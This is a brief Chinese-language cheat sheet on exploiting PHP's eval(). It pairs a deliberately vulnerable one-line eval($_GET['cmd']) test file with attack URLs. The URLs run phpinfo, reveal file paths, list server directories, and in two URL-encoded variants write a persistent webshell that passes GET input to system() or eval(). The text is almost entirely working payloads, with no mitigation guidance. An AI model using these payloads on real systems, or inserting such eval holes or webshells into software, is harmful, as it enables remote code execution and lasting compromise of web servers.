记录一下常见的php环境下eval函数的利用方法

php服务端测试代码

<?php eval($_GET['cmd']) ?>

可利用代码如下：

//查看phpinfo，注意必需加";"
https://192.168.1.213/admin/test.php?cmd=phpinfo();


//打印当前工作目录
https://192.168.1.213/admin/test.php?cmd=echo%20getcwd();
https://192.168.1.213/admin/test.php?cmd=print(getcwd());
https://192.168.1.213/admin/test.php?cmd=${@print(getcwd())};


///打印test.php的具体路径
https://192.168.1.213/admin/test.php?cmd=echo%20__FILE__;


//写入webshell
https://192.168.1.213/admin/test.php?cmd=file_put_contents(%27config.php%27%2C%20%27%3C%3Fphp%20%40system(%24_GET%5B%22config%22%5D)%3B%27)%3B
https://192.168.1.213/admin/test.php?cmd=%24%7B%40file_put_contents(%27config.php%27%2C%20%27%3C%3Fphp%20eval(%24_GET%5B%22config%22%5D)%3B%27)%7D%3B


//列出某个目录下的文件
//如果wwwdata用户不能访问该目录没有权限则返回空
https://192.168.1.213/admin/test.php?cmd=print_r(scandir("/www/admin"));